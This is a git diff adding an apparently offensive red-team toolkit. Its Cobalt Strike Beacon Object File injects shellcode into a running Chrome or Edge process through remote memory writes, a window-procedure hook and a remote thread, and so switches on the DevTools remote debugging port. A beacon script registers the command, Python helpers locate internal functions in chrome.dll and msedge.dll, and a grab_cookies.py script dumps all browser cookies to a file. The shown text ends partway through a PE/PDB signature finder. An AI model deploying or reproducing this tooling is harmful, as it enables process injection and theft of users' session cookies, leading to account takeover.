TARGET_CFG* target = NULL; + DWORD pid = 0; + HWND hwnd; + uintptr_t browser_base = 0; + DWORD browser_size = 0; + HANDLE hProcess = NULL; + LPVOID remote_mem = NULL; + SIZE_T total_size = 0x1000; + unsigned char* local_page = NULL; + SIZE_T written = 0; + HANDLE hThread = NULL; + INSTALL_CTX install_ctx; + WNDPROC_CTX wnd_ctx; + uintptr_t set_window_long_ptr_a = 0; + uintptr_t install_stub_remote, wnd_stub_remote, install_ctx_remote, wnd_ctx_remote; + uintptr_t start_server = 0, chrome_new = 0, factory_vtable = 0; + DWORD exit_code = 0; + int port = 0; + int ti; + char* browser_arg = NULL; + int browser_len = 0; + + BeaconPrintf(CALLBACK_OUTPUT, "=== CDP-Enabler-BOF ==="); + + if (len <= 0) { + BeaconPrintf(CALLBACK_ERROR, "[-] Missing required arguments. Expected: "); + return; + } + + BeaconDataParse(&parser, args, len); + browser_arg = BeaconDataExtract(&parser, &browser_len); + if (!browser_arg || browser_len <= 0) { + BeaconPrintf(CALLBACK_ERROR, "[-] Missing required browser argument. Expected: "); + return; + } + + if (BeaconDataLength(&parser) < 4) { + BeaconPrintf(CALLBACK_ERROR, "[-] Missing required port argument."); + return; + } + port = BeaconDataInt(&parser); + if (port <= 8999 || port > 65535) { + BeaconPrintf(CALLBACK_ERROR, "[-] Invalid port: %d", port); + return; + } + + for (ti = 0; ti < (int)(sizeof(targets)/sizeof(targets[0])); ti++) { + if (ascii_equals_literal(browser_arg, browser_len, targets[ti].browser_name)) { + target = &targets[ti]; + break; + } + } + if (!target) { + BeaconPrintf(CALLBACK_ERROR, "[-] Invalid browser argument. Expected 'chrome' or 'edge'."); + return; + } + + pid = FindBrowserProcess(target->process_name); + if (!pid) { + BeaconPrintf(CALLBACK_ERROR, "[-] %ls browser process was not found", target->process_name); + return; + } + BeaconPrintf(CALLBACK_OUTPUT, "[+] Target = %ls, PID %lu", target->process_name, (unsigned long)pid); + + hwnd = FindBrowserWindowForPid(pid); + if (!hwnd) { + BeaconPrintf(CALLBACK_ERROR, "[-] Could not find top-level browser window"); + return; + } + BeaconPrintf(CALLBACK_OUTPUT, "[+] Browser window 0x%p", hwnd); + + if (!GetRemoteModule(pid, target->module_name_w, &browser_base, &browser_size)) { + BeaconPrintf(CALLBACK_ERROR, "[-] Could not locate target DLL in browser"); + return; + } + BeaconPrintf(CALLBACK_OUTPUT, "[+] %ls base = 0x%p", target->module_name_w, (void*)browser_base); + + if (!GetRemoteSystemProc(pid, L"user32.dll", "SetWindowLongPtrA", &set_window_long_ptr_a)) { + BeaconPrintf(CALLBACK_ERROR, "[-] Could not resolve remote SetWindowLongPtrA"); + return; + } + + hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | + PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, + FALSE, pid); + if (!hProcess) { + BeaconPrintf(CALLBACK_ERROR, "[-] OpenProcess failed: %lu", (unsigned long)GetLastError()); + return; + } + + if (!ResolveSymbolsRuntime(hProcess, browser_base, target, &start_server, &chrome_new, &factory_vtable)) { + CloseHandle(hProcess); + return; + } + BeaconPrintf(CALLBACK_OUTPUT, "[+] StartRemoteDebuggingServer = 0x%p", (void*)start_server); + BeaconPrintf(CALLBACK_OUTPUT, "[+] operator new = 0x%p", (void*)chrome_new); + BeaconPrintf(CALLBACK_OUTPUT, "[+] factory vtable = 0x%p", (void*)factory_vtable); + + remote_mem = VirtualAllocEx(hProcess, NULL, total_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + if (!remote_mem) { + BeaconPrintf(CALLBACK_ERROR, "[-] VirtualAllocEx failed: %lu", (unsigned long)GetLastError()); + CloseHandle(hProcess); + return; + } + + local_page = (unsigned char*)HeapAlloc(GetProcessHeap(), 0, total_size); + if (!local_page) { + BeaconPrintf(CALLBACK_ERROR, "[-] HeapAlloc failed"); + VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE); + CloseHandle(hProcess); + return; + } + + bof_memset(&install_ctx, 0, sizeof(install_ctx)); + bof_memset(&wnd_ctx, 0, sizeof(wnd_ctx)); + bof_memset(local_page, 0, total_size); + + install_ctx_remote = (uintptr_t)remote_mem + 0x000; + wnd_ctx_remote = (uintptr_t)remote_mem + 0x040; + install_stub_remote= (uintptr_t)remote_mem + 0x100; + wnd_stub_remote = (uintptr_t)remote_mem + 0x180; + + install_ctx.hwnd = (UINT64)(uintptr_t)hwnd; + install_ctx.new_wndproc = (UINT64)wnd_stub_remote; + install_ctx.set_window_long_ptr_a = (UINT64)set_window_long_ptr_a; + + wnd_ctx.old_wndproc = 0; + wnd_ctx.set_window_long_ptr_a = (UINT64)set_window_long_ptr_a; + wnd_ctx.start_remote_debugging_server = (UINT64)start_server; + wnd_ctx.chrome_new = (UINT64)chrome_new; + wnd_ctx.factory_vtable = (UINT64)factory_vtable; + wnd_ctx.port = (UINT32)port; + wnd_ctx.mode = 0; + + bof_memcpy(local_page + 0x000, &install_ctx, sizeof(install_ctx)); + bof_memcpy(local_page + 0x040, &wnd_ctx, sizeof(wnd_ctx)); + bof_memcpy(local_page + 0x100, INSTALL_STUB, sizeof(INSTALL_STUB)); + bof_memcpy(local_page + 0x180, WNDPROC_STUB_TEMPLATE, sizeof(WNDPROC_STUB_TEMPLATE)); + PatchQword(local_page + 0x180, 7, (UINT64)wnd_ctx_remote); + + if (!WriteProcessMemory(hProcess, remote_mem, local_page, total_size, &written) || written != total_size) { + BeaconPrintf(CALLBACK_ERROR, "[-] WriteProcessMemory failed: %lu", (unsigned long)GetLastError()); + HeapFree(GetProcessHeap(), 0, local_page); + VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE); + CloseHandle(hProcess); + return; + } + + hThread = CreateRemoteThread(hProcess, NULL, 0, + (LPTHREAD_START_ROUTINE)install_stub_remote, + (LPVOID)install_ctx_remote, 0, NULL); + if (!hThread) { + BeaconPrintf(CALLBACK_ERROR, "[-] CreateRemoteThread(install) failed: %lu", (unsigned long)GetLastError()); + HeapFree(GetProcessHeap(), 0, local_page); + VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE); + CloseHandle(hProcess); + return; + } + WaitForSingleObject(hThread, 5000); + GetExitCodeThread(hThread, &exit_code); + CloseHandle(hThread); + hThread = NULL; + BeaconPrintf(CALLBACK_OUTPUT, "[+] Install stub exit code: %lu", (unsigned long)exit_code); + + if (!ReadProcessMemory(hProcess, (LPCVOID)install_ctx_remote, &install_ctx, sizeof(install_ctx), &written) || + written != sizeof(install_ctx)) { + BeaconPrintf(CALLBACK_ERROR, "[-] ReadProcessMemory(install_ctx) failed: %lu", (unsigned long)GetLastError()); + HeapFree(GetProcessHeap(), 0, local_page); + VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE); + CloseHandle(hProcess); + return; + } + BeaconPrintf(CALLBACK_OUTPUT, "[+] Original WndProc = 0x%p", (void*)(uintptr_t)install_ctx.old_wndproc); + + wnd_ctx.old_wndproc = install_ctx.old_wndproc; + if (!WriteProcessMemory(hProcess, (LPVOID)wnd_ctx_remote, &wnd_ctx, sizeof(wnd_ctx), &written) || + written != sizeof(wnd_ctx)) { + BeaconPrintf(CALLBACK_ERROR, "[-] WriteProcessMemory(wnd_ctx) failed: %lu", (unsigned long)GetLastError()); + HeapFree(GetProcessHeap(), 0, local_page); + VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE); + CloseHandle(hProcess); + return; + } + + BeaconPrintf(CALLBACK_OUTPUT, "[*] Sending trigger message 0x%X", WM_START_CDP_REMOTE); + SendMessageA(hwnd, WM_START_CDP_REMOTE, 0, 0); + BeaconPrintf(CALLBACK_OUTPUT, "[+] Trigger sent. Validate with netstat or curl http://localhost:%d/json/version", port); + + HeapFree(GetProcessHeap(), 0, local_page); + VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE); + CloseHandle(hProcess); +} diff --git a/cdp_enable_bof.cna b/cdp_enable_bof.cna new file mode 100644 index 0000000..bfe58a1 --- /dev/null +++ b/cdp_enable_bof.cna @@ -0,0 +1,47 @@ +sub read_cdp_bof { + local('$handle $data'); + $handle = openf(script_resource("cdp_enable_bof.o")); + $data = readb($handle, -1); + closef($handle); + if (strlen($data) == 0) { + berror($1, "could not read cdp_enable_bof.o"); + } + return $data; +} + +alias cdp_enable { + local('$browser $port $args'); + + if (size(@_) != 3) { + berror($1, beacon_command_detail("cdp_enable")); + return; + } + + if (barch($1) ne "x64") { + berror($1, "cdp_enable requires an x64 beacon"); + return; + } + + $browser = lc($2); + $port = int($3); + + if ($browser ne "edge" && $browser ne "chrome") { + berror($1, "browser must be 'edge' or 'chrome'"); + return; + } + + if ($port <= 8999 || $port > 65535) { + berror($1, "port must be between 1 and 65535"); + return; + } + + $args = bof_pack($1, "zi", $browser, $port); + btask($1, "Tasked beacon to enable CDP in $browser on port $port", "T1055"); + beacon_inline_execute($1, read_cdp_bof($1), "go", $args); +} + +beacon_command_register( + "cdp_enable", + "Enable Chrome DevTools Protocol in a running Chrome/Edge browser with the CDP BOF.", + "Usage: cdp_enable " +); diff --git a/find_cdp_inputs.py b/find_cdp_inputs.py new file mode 100644 index 0000000..61bc2a4 --- /dev/null +++ b/find_cdp_inputs.py @@ -0,0 +1,161 @@ +#!/usr/bin/env python3 +import argparse +import contextlib +import io +import json +import re +import struct +import sys +from pathlib import Path + +import pefile + +ROOT = Path(__file__).resolve().parent +sys.path.insert(0, str(ROOT)) + +from pe_signature_finder import analyze_symbols, demangle_symbol # type: ignore + + +# From the current CDP-Enabler project: the Chrome/Edge allocator used for the +# factory object. Wildcards are emitted as "." in the regex. +OPERATOR_NEW_REGEX = ( + rb"\x40\x53\x48\x83\xEC\x20\x48\x8B\xD9\xEB." + rb"\x48\x8B\xCB\xE8....\x85\xC0\x74.\x48\x8B\xCB" +) +OPERATOR_NEW_SIGNATURE = "40 53 48 83 EC 20 48 8B D9 EB ?? 48 8B CB E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B CB" + +KNOWN_ENTRY1_SIGNATURES = { + "msedge.dll": bytes.fromhex("48 89 D0 0F B7 51 08 48"), + "chrome.dll": bytes.fromhex( + "41 57 41 56 56 57 55 53 48 81 EC 88 00 00 00 48 89 D6 48 8B 05 07" + ), +} + + +def get_section(pe, section_name: str): + for section in pe.sections: + name = section.Name.rstrip(b"\x00").decode("ascii", errors="ignore") + if name == section_name: + return section, section.get_data() + raise RuntimeError(f"{pe.filename} has no {section_name} section") + + +def find_unique_regex(pattern: bytes, data: bytes) -> int: + matches = [m.start() for m in re.finditer(pattern, data, re.S)] + if len(matches) != 1: + raise RuntimeError(f"expected exactly one match, got {len(matches)}") + return matches[0] + + +def choose_tcp_factory_entry1(pe_path: Path, pdb_path: Path): + with contextlib.redirect_stderr(io.StringIO()): + results = list( + analyze_symbols( + str(pe_path), + str(pdb_path), + "*CreateForHttpServer*", + min_sig=8, + max_sig=64, + ) + ) + + for result in results: + demangled = demangle_symbol(result.symbol.name) + if "TCPServerSocketFactory::CreateForHttpServer()" in demangled: + return result, demangled + + raise RuntimeError("TCPServerSocketFactory::CreateForHttpServer was not found in the PDB") + + +def main(): + parser = argparse.ArgumentParser( + description="Find the inputs needed to eventually call StartRemoteDebuggingServer." + ) + parser.add_argument("pe", type=Path, help="Path to chrome.dll/msedge.dll") + parser.add_argument("pdb", type=Path, nargs="?", help="Optional path to matching PDB") + args = parser.parse_args() + + pe = pefile.PE(str(args.pe)) + image_base = pe.OPTIONAL_HEADER.ImageBase + text_section, text_data = get_section(pe, ".text") + rdata_section, rdata_data = get_section(pe, ".rdata") + + operator_new_off = find_unique_regex(OPERATOR_NEW_REGEX, text_data) + operator_new_rva = text_section.VirtualAddress + operator_new_off + + entry1_sig = KNOWN_ENTRY1_SIGNATURES.get(args.pe.name.lower()) + if entry1_sig is None: + raise RuntimeError(f"no built-in CreateForHttpServer signature for {args.pe.name}") + + entry1_off = find_unique_regex(re.escape(entry1_sig), text_data) + entry1_sig_rva = text_section.VirtualAddress + entry1_off + entry1_rva = entry1_sig_rva + entry1_va = image_base + entry1_rva + vtable_candidates = [] + + for offset in range(0, len(rdata_data) - 16 + 1, 8): + q0, q1 = struct.unpack_from(" wrapper", + "rdx": "empty base::FilePath for active_port_output_directory", + "r8": "empty base::FilePath for debug_frontend_dir", + "r9d": "RemoteDebuggingServerMode", + }, + } + + if args.pdb: + entry1_result, entry1_demangled = choose_tcp_factory_entry1(args.pe, args.pdb) + output["pdb"] = str(args.pdb) + output["tcp_server_socket_factory"]["create_for_http_server"]["symbol"] = entry1_demangled + output["tcp_server_socket_factory"]["create_for_http_server"]["pdb_rva"] = f"0x{entry1_result.symbol.rva:08X}" + output["tcp_server_socket_factory"]["create_for_http_server"]["pdb_vtable_refs"] = [ + f"0x{ref:08X}" for ref in entry1_result.vtable_refs + ] + output["tcp_server_socket_factory"]["create_for_http_server"]["signature_matches_pdb_rva"] = ( + entry1_sig_rva == entry1_result.symbol.rva + ) + + print(json.dumps(output, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/find_start_server.py b/find_start_server.py new file mode 100644 index 0000000..8fa9766 --- /dev/null +++ b/find_start_server.py @@ -0,0 +1,100 @@ +#!/usr/bin/env python3 +import argparse +import contextlib +import io +import json +import re +import sys +from pathlib import Path + +import pefile + +ROOT = Path(__file__).resolve().parent +sys.path.insert(0, str(ROOT)) + +from pe_signature_finder import analyze_symbols, format_bytes # type: ignore + +KNOWN_START_SERVER_SIGNATURES = { + "msedge.dll": bytes.fromhex( + "41 57 41 56 41 54 56 57 55 53 48 83 EC 50 " + "44 89 CD 4C 89 C3 48 89 D7 48 89 CE 48 8B 05 9D" + ), + "chrome.dll": bytes.fromhex( + "41 57 41 56 56 57 55 53 48 83 EC 48 " + "44 89 CD 4D 89 C6 48 89 D3 48 89 CE 48 8B 05 41" + ), +} + + +def load_text_section(pe_path: Path): + pe = pefile.PE(str(pe_path)) + for section in pe.sections: + name = section.Name.rstrip(b"\x00").decode("ascii", errors="ignore") + if name == ".text": + return pe, section, section.get_data() + raise RuntimeError(f"{pe_path} has no .text section") + + +def verify_unique(pattern: bytes, haystack: bytes) -> int: + return len(list(re.finditer(re.escape(pattern), haystack))) + + +def main(): + parser = argparse.ArgumentParser( + description="Find StartRemoteDebuggingServer and emit a reusable unique signature." + ) + parser.add_argument("pe", type=Path, help="Path to chrome.dll/msedge.dll") + parser.add_argument("pdb", type=Path, nargs="?", help="Optional path to matching PDB") + args = parser.parse_args() + + pe, _text_section, text_data = load_text_section(args.pe) + + known_sig = KNOWN_START_SERVER_SIGNATURES.get(args.pe.name.lower()) + if known_sig is None: + raise SystemExit(f"no built-in signature for {args.pe.name}; provide a PDB for ground truth") + + pattern_hits = [m.start() for m in re.finditer(re.escape(known_sig), text_data)] + if len(pattern_hits) != 1: + raise SystemExit(f"expected exactly one StartRemoteDebuggingServer signature hit, got {len(pattern_hits)}") + + matched_offset = pattern_hits[0] + matched_rva = _text_section.VirtualAddress + matched_offset + + output = { + "binary": str(args.pe), + "signature_rva": f"0x{matched_rva:08X}", + "signature_va": f"0x{pe.OPTIONAL_HEADER.ImageBase + matched_rva:016X}", + "signature_length": len(known_sig), + "signature_hex": format_bytes(known_sig), + "text_hits": 1, + } + + if args.pdb: + with contextlib.redirect_stderr(io.StringIO()): + results = list( + analyze_symbols( + str(args.pe), + str(args.pdb), + "*StartRemoteDebuggingServer*", + min_sig=8, + max_sig=64, + ) + ) + good = [r for r in results if r.signature and r.match_count == 1] + if good: + result = good[0] + signature = result.signature + assert signature is not None + output["pdb"] = str(args.pdb) + output["symbol"] = result.symbol.name + output["pdb_rva"] = f"0x{result.symbol.rva:08X}" + output["pdb_va"] = f"0x{pe.OPTIONAL_HEADER.ImageBase + result.symbol.rva:016X}" + output["pdb_signature_hex"] = format_bytes(signature) + output["pdb_signature_text_hits"] = verify_unique(signature, text_data) + output["signature_matches_pdb_rva"] = matched_rva == result.symbol.rva + + print(json.dumps(output, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/grab_cookies.py b/grab_cookies.py new file mode 100644 index 0000000..ab64548 --- /dev/null +++ b/grab_cookies.py @@ -0,0 +1,83 @@ +#!/usr/bin/env python3 +import argparse +import json +import sys +import urllib.error +import urllib.parse +import urllib.request + +from websocket import create_connection + + +def http_json(url: str) -> dict: + with urllib.request.urlopen(url) as resp: + return json.loads(resp.read().decode("utf-8")) + + +def resolve_browser_ws(host: str, port: int) -> str: + version_url = f"http://{host}:{port}/json/version" + info = http_json(version_url) + ws_url = info.get("webSocketDebuggerUrl") + if not ws_url: + raise RuntimeError(f"No webSocketDebuggerUrl in {version_url}") + return ws_url + + +def cdp_call(ws, message_id: int, method: str, params: dict | None = None) -> dict: + req = {"id": message_id, "method": method} + if params: + req["params"] = params + ws.send(json.dumps(req)) + + while True: + raw = ws.recv() + msg = json.loads(raw) + if msg.get("id") == message_id: + return msg + + +def grab_cookies(ws_url: str) -> list[dict]: + ws = create_connection(ws_url, suppress_origin=True, timeout=10) + try: + resp = cdp_call(ws, 1, "Storage.getCookies") + finally: + ws.close() + + if "error" in resp: + raise RuntimeError(f"CDP error: {resp['error']}") + return resp.get("result", {}).get("cookies", []) + + +def main() -> int: + parser = argparse.ArgumentParser(description="Grab cookies over a locally enabled CDP port.") + parser.add_argument("--host", default="127.0.0.1", help="CDP host (default: 127.0.0.1)") + parser.add_argument("--port", type=int, default=9001, help="CDP port (default: 9001)") + parser.add_argument("--output", default="cookies.json", help="Output JSON path") + parser.add_argument("--domain", help="Optional domain substring filter") + args = parser.parse_args() + + try: + ws_url = resolve_browser_ws(args.host, args.port) + cookies = grab_cookies(ws_url) + except urllib.error.URLError as exc: + print(f"[-] Failed to reach CDP endpoint: {exc}", file=sys.stderr) + return 1 + except Exception as exc: + print(f"[-] Failed to grab cookies: {exc}", file=sys.stderr) + return 1 + + if args.domain: + needle = args.domain.lower() + cookies = [c for c in cookies if needle in c.get("domain", "").lower()] + + with open(args.output, "w", encoding="utf-8") as fh: + json.dump(cookies, fh, indent=2) + + print(f"[+] Browser websocket: {ws_url}") + print(f"[+] Cookies written: {len(cookies)}") + print(f"[+] Output: {args.output}") + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/pe_signature_finder.py b/pe_signature_finder.py new file mode 100644 index 0000000..60d10d8 --- /dev/null +++ b/pe_signature_finder.py @@ -0,0 +1,793 @@ +#!/usr/bin/env python3 +""" +PE/PDB Signature Finder Tool + +Analyzes PE files with PDB symbols to find minimum unique signatures for functions. +Supports wildcard pattern matching for symbol names. + +Usage: + python pe_signature_finder.py + +Examples: + python pe_signature_finder.py app.exe app.pdb "*::MyClass::*" + python pe_signature_finder.py app.exe app.pdb "*::SomeFunc" + python pe_signature_finder.py app.exe app.pdb "??_7*@@6B@" # vtable pattern +""" + +import argparse +import fnmatch +import struct +import sys +import mmap +from pathlib import Path +from dataclasses import dataclass, field +from typing import Optional, List, Tuple, Iterator, Dict + +try: + import pefile +except ImportError: + print("Error: pefile library not found. Install with: pip install pefile") + sys.exit(1) + + +# PDB Magic signatures +PDB_SIGNATURE_700 = b"Microsoft C/C++ MSF 7.00\r\n\x1aDS\x00\x00\x00" + + +@dataclass +class SymbolInfo: + """Represents a symbol from the PDB.""" + name: str + rva: int + size: int = 0 + segment: int = 0 + offset: int = 0 + + +@dataclass +class SignatureResult: + """Result of signature finding for a symbol.""" + symbol: SymbolInfo + signature: Optional[bytes] = None + signature_length: int = 0 + match_count: int = 0 + section: str = "" + vtable_refs: List[int] = field(default_factory=list) + error: Optional[str] = None + + +def demangle_symbol(name: str) -> str: + """ + Attempt to demangle a C++ symbol name. + This is a simplified demangler for common MSVC patterns. + """ + if not name.startswith('?'): + return name + + # ??_7ClassName@@6B@ = vtable + if name.startswith('??_7') and '@@6B@' in name: + class_name = name[4:].split('@@')[0].replace('@', '::') + return f"{class_name}::`vftable'" + + # ??0ClassName@@... = constructor + if name.startswith('??0'): + parts = name[3:].split('@@') + if parts: + class_name = parts[0].replace('@', '::') + short_name = class_name.split('::')[-1] + return f"{class_name}::{short_name}()" + + # ??1ClassName@@... = destructor + if name.startswith('??1'): + parts = name[3:].split('@@') + if parts: + class_name = parts[0].replace('@', '::') + short_name = class_name.split('::')[-1] + return f"{class_name}::~{short_name}()" + + # ?FuncName@ClassName@@... = member function + if name.startswith('?') and '@' in name: + parts = name[1:].split('@') + if len(parts) >= 2: + func_name = parts[0] + class_parts = [] + for part in parts[1:]: + if part.startswith('@'): + break + if part: + class_parts.append(part) + if class_parts: + class_name = '::'.join(reversed(class_parts)) + return f"{class_name}::{func_name}()" + + return name + + +class PDBParser: + """ + PDB parser for extracting symbol information. + Supports PDB 7.0 format (MSF format). + """ + + # Symbol record types + S_PUB32 = 0x110E + S_GDATA32 = 0x110D + S_LDATA32 = 0x110C + S_PROCREF = 0x1125 + S_LPROCREF = 0x1127 + S_GPROC32 = 0x1110 + S_LPROC32 = 0x110F + S_GPROC32_ID = 0x1147 + S_LPROC32_ID = 0x1146 + S_PUB32_ST = 0x1009 # Older format + + def __init__(self, pdb_path: str, pe: pefile.PE, verbose: bool = False): + self.pdb_path = Path(pdb_path) + self.pe = pe + self.verbose = verbose + self.symbols: List[SymbolInfo] = [] + self.section_headers: List[Tuple[int, int]] = [] # (VA, size) pairs from PDB + self._build_section_map_from_pe() + self._parse() + + def _build_section_map_from_pe(self): + """Build section map from PE file.""" + self.section_map = {} + for idx, section in enumerate(self.pe.sections, 1): + self.section_map[idx] = section.VirtualAddress + + def _log(self, msg: str): + if self.verbose: + print(f"[PDB] {msg}", file=sys.stderr) + + def _parse(self): + """Parse the PDB file.""" + with open(self.pdb_path, 'rb') as f: + data = mmap.mmap(f.fileno(), 0, access=mmap.ACCESS_READ) + try: + self._parse_pdb7(data) + finally: + data.close() + + def _read_pages(self, data: mmap.mmap, pages: List[int], page_size: int, total_size: int) -> bytes: + """Read data from specified pages.""" + result = bytearray() + remaining = total_size + for page in pages: + chunk_size = min(page_size, remaining) + offset = page * page_size + result.extend(data[offset:offset + chunk_size]) + remaining -= chunk_size + return bytes(result) + + def _parse_pdb7(self, data: mmap.mmap): + """Parse PDB 7.0 (MSF) format.""" + # Check signature + if data[:len(PDB_SIGNATURE_700)] != PDB_SIGNATURE_700: + raise ValueError("Not a valid PDB 7.0 file") + + # Read MSF header + header_offset = len(PDB_SIGNATURE_700) + page_size, = struct.unpack_from(' Optional[bytes]: + if idx >= stream_count or stream_sizes[idx] == 0 or stream_sizes[idx] == 0xFFFFFFFF: + return None + return self._read_pages(data, stream_pages[idx], page_size, stream_sizes[idx]) + + # Read DBI stream (stream 3) + dbi_data = read_stream(3) + if not dbi_data or len(dbi_data) < 64: + self._log("No DBI stream found") + return + + # Parse DBI header + gs_stream, = struct.unpack_from('= 24 and dbg_hdr_offset + 24 <= len(dbi_data): + # Debug header contains stream indices for various debug info + sec_hdr_stream, = struct.unpack_from(' 0 and name should be printable) + if va > 0 and all(32 <= b < 127 or b == 0 for b in name): + self.section_headers.append((va, size)) + offset += entry_size + + self._log(f"Parsed {len(self.section_headers)} section headers from PDB") + + def _parse_symbol_records(self, data: bytes): + """Parse symbol records stream.""" + offset = 0 + count = 0 + while offset + 4 <= len(data): + rec_len, = struct.unpack_from(' len(data): + offset += 1 + continue + + rec_type, = struct.unpack_from(' 0: + rva = self._calculate_rva(segment, sym_offset) + if rva is not None: + self.symbols.append(SymbolInfo( + name=name, + rva=rva, + segment=segment, + offset=sym_offset + )) + except (struct.error, UnicodeDecodeError): + pass + + def _parse_proc32(self, data: bytes, offset: int, rec_len: int): + """Parse S_GPROC32/S_LPROC32 record.""" + if rec_len < 36: + return + + try: + # parent(4), end(4), next(4), len(4), dbgstart(4), dbgend(4), type(4), offset(4), seg(2), flags(1), name + proc_len, = struct.unpack_from(' 0: + rva = self._calculate_rva(segment, sym_offset) + if rva is not None: + self.symbols.append(SymbolInfo( + name=name, + rva=rva, + size=proc_len, + segment=segment, + offset=sym_offset + )) + except (struct.error, UnicodeDecodeError): + pass + + def _parse_proc32_id(self, data: bytes, offset: int, rec_len: int): + """Parse S_GPROC32_ID/S_LPROC32_ID record.""" + # Same structure as PROC32 but type field is an ID not index + self._parse_proc32(data, offset, rec_len) + + def _parse_data32(self, data: bytes, offset: int, rec_len: int): + """Parse S_GDATA32/S_LDATA32 record.""" + if rec_len < 12: + return + + try: + # type(4), offset(4), seg(2), name + sym_offset, = struct.unpack_from(' 0: + rva = self._calculate_rva(segment, sym_offset) + if rva is not None: + self.symbols.append(SymbolInfo( + name=name, + rva=rva, + segment=segment, + offset=sym_offset + )) + except (struct.error, UnicodeDecodeError): + pass + + def _calculate_rva(self, segment: int, offset: int) -> Optional[int]: + """Calculate RVA from segment:offset.""" + if segment in self.section_map: + return self.section_map[segment] + offset + return None + + def find_symbols(self, pattern: str) -> List[SymbolInfo]: + """Find symbols matching the given pattern (supports wildcards). + + Matches against both mangled and demangled names. + """ + matches = [] + seen = set() + for sym in self.symbols: + # Match against mangled name + if fnmatch.fnmatch(sym.name, pattern): + key = (sym.name, sym.rva) + if key not in seen: + seen.add(key) + matches.append(sym) + continue + + # Also try matching against demangled name + demangled = demangle_symbol(sym.name) + if demangled != sym.name and fnmatch.fnmatch(demangled, pattern): + key = (sym.name, sym.rva) + if key not in seen: + seen.add(key) + matches.append(sym) + return matches + + +class PEAnalyzer: + """Analyzes PE files for signatures and vtable references.""" + + MIN_SIG_LENGTH = 8 + MAX_SIG_LENGTH = 64 + + def __init__(self, pe_path: str): + self.pe_path = Path(pe_path) + self.pe = pefile.PE(str(pe_path)) + self.image_base = self.pe.OPTIONAL_HEADER.ImageBase + + # Cache all section data for searching + self._section_cache = {} + for section in self.pe.sections: + name = section.Name.decode('utf-8').rstrip('\x00') + self._section_cache[name] = { + 'section': section, + 'data': section.get_data(), + 'va': section.VirtualAddress, + 'size': section.Misc_VirtualSize + } + + # Quick references for common sections + self._text_section = self._find_section('.text') + self._rdata_section = self._find_section('.rdata') + + def _find_section(self, name: str) -> Optional[pefile.SectionStructure]: + """Find a section by name.""" + for section in self.pe.sections: + section_name = section.Name.decode('utf-8').rstrip('\x00') + if section_name == name: + return section + name_lower = name.lower() + for section in self.pe.sections: + section_name = section.Name.decode('utf-8').rstrip('\x00').lower() + if section_name == name_lower: + return section + return None + + def _get_section_for_rva(self, rva: int) -> Optional[Tuple[str, dict]]: + """Get the section that contains the given RVA.""" + for name, info in self._section_cache.items(): + if info['va'] <= rva < info['va'] + info['size']: + return (name, info) + return None + + def get_bytes_at_rva(self, rva: int, size: int) -> Optional[bytes]: + """Get bytes at a given RVA.""" + try: + return self.pe.get_data(rva, size) + except: + return None + + def find_pattern_in_section(self, pattern: bytes, section_name: str) -> List[int]: + """Find all occurrences of a pattern in specified section, return RVAs.""" + if section_name not in self._section_cache: + return [] + + info = self._section_cache[section_name] + data = info['data'] + base_va = info['va'] + + matches = [] + start = 0 + while True: + pos = data.find(pattern, start) + if pos == -1: + break + rva = base_va + pos + matches.append(rva) + start = pos + 1 + + return matches + + def find_pattern_all_sections(self, pattern: bytes) -> List[Tuple[str, int]]: + """Find all occurrences of a pattern in all sections, return (section, RVA) pairs.""" + all_matches = [] + for name, info in self._section_cache.items(): + data = info['data'] + base_va = info['va'] + start = 0 + while True: + pos = data.find(pattern, start) + if pos == -1: + break + rva = base_va + pos + all_matches.append((name, rva)) + start = pos + 1 + return all_matches + + def find_minimum_unique_signature(self, rva: int) -> Tuple[Optional[bytes], int, int, str]: + """ + Find the minimum unique byte signature for a symbol at the given RVA. + Searches the section containing the RVA. + Returns: (signature_bytes, length, match_count, section_name) + """ + # Find which section this RVA belongs to + section_info = self._get_section_for_rva(rva) + if section_info is None: + return None, 0, 0, "" + + section_name, info = section_info + + # Get enough bytes to work with + func_bytes = self.get_bytes_at_rva(rva, self.MAX_SIG_LENGTH) + if func_bytes is None or len(func_bytes) < self.MIN_SIG_LENGTH: + return None, 0, 0, section_name + + # Incrementally increase pattern length until unique + for length in range(self.MIN_SIG_LENGTH, min(len(func_bytes), self.MAX_SIG_LENGTH) + 1): + pattern = func_bytes[:length] + matches = self.find_pattern_in_section(pattern, section_name) + + if len(matches) == 1: + return pattern, length, 1, section_name + elif len(matches) == 0: + return pattern, length, 0, section_name + + # No unique signature found within max length + pattern = func_bytes[:self.MAX_SIG_LENGTH] + matches = self.find_pattern_in_section(pattern, section_name) + return pattern, self.MAX_SIG_LENGTH, len(matches), section_name + + def find_vtable_references(self, rva: int) -> List[int]: + """ + Find vtable entries in .rdata that point to this function's RVA. + Returns list of RVAs where references were found. + """ + if '.rdata' not in self._section_cache: + return [] + + rdata_info = self._section_cache['.rdata'] + data = rdata_info['data'] + base_va = rdata_info['va'] + + references = [] + + # Determine pointer size based on PE type + is_64bit = self.pe.FILE_HEADER.Machine == 0x8664 + ptr_size = 8 if is_64bit else 4 + ptr_format = ' str: + """Format bytes as hex string.""" + return ' '.join(f'{b:02X}' for b in data) + + +def analyze_symbols(pe_path: str, pdb_path: str, pattern: str, + min_sig: int = 8, max_sig: int = 64, + verbose: bool = False) -> Iterator[SignatureResult]: + """ + Main analysis function. + Yields SignatureResult for each matching symbol. + """ + # Load PE file + try: + pe_analyzer = PEAnalyzer(pe_path) + pe_analyzer.MIN_SIG_LENGTH = min_sig + pe_analyzer.MAX_SIG_LENGTH = max_sig + except Exception as e: + yield SignatureResult( + symbol=SymbolInfo(name="", rva=0), + error=f"Failed to load PE file: {e}" + ) + return + + # Parse PDB + try: + pdb_parser = PDBParser(pdb_path, pe_analyzer.pe, verbose=verbose) + except Exception as e: + yield SignatureResult( + 